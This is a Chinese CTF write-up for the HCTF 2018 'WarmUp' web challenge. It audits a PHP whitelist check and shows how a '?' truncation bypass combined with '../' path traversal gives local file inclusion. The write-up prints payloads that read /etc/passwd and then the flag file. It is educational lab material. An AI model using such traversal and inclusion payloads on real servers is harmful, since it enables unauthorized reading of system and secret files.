> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2018/2018-hctf/warmup.md).

# WarmUp

进来一个滑稽表情包，查看页面源码，得到提示

```
<-- source.php -->
```

访问source.php，查看源码：

```
 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 
```

审计一下php代码，需要使用GET方式提交一个 `$file` 变量，进行文件包含。

看到白名单，随即访问hint.php，得到ffffllllaaaagggg文件名。

多次if语句判断，第一次判断是否存在 `$page` 变量且是否为字符串，简单绕过。

第二层 if 用到了`bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )` 函数：

```
in_array($page, $whitelist)
```

如果满足了就 `return true`。关于 `bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )` 函数有它的设计缺陷，当进行弱比较的时候会进行弱类型转换，从而绕过对数字的审查。大致可以看这篇参考文章：[PHP代码审计Day1 - in\_array函数缺陷](https://cloud.tencent.com/developer/article/1339768)。

在这里由于数组类型是字符串类型，所以不存在这样的弱类型转换漏洞，这里如果需要返回 true，则必须 `$page` 的值为 hint.php 或者 source.php。

```
$_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
```

这部分用到了两个比较新的 php 函数：

```
mb_substr ( string $str , int $start [, int $length = NULL [, string $encoding = mb_internal_encoding() ]] ) : string
```

与 `substr()` 函数不同的是，`mb_substr()` 通常用来分割多种字符，用于兼容字符集。例如：

```
echo mb_substr("Hello, world!", 0, 2);
 //echo:He
echo mb_substr("你好世界！", 0, 2);
 //echo:你好
```

这看起来似乎更符合中国人的习惯。

```
mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int
```

该函数用来返回字符串 `$needle` 在 `$haystack` 字符串中第一次出现的位置。这里就存在绕过，只要题目中的字符串中出现问号，就可以对字符串进行截断，从而绕过白名单的审查。

```
echo mb_strpos("Hello!" . "?", "?"); //echo: 6
echo mb_strpos("?Hello!") . "?", "?"); //echo: 0
```

于是只要构造这样的字符串：

```
?file=hint.php?
?file=source.php?
```

就可以绕过白名单审计，返回 `true`。

接下来就是简单的目录穿越完事，可以先读取 /etc/passwd：

```
source.php?file=hint.php?../../../../../etc/passwd
```

穿越回根目录经过五次，大概推测文件结构，然后读取flag。

```
source.php?file=hint.php?../../../../../ffffllllaaaagggg
```
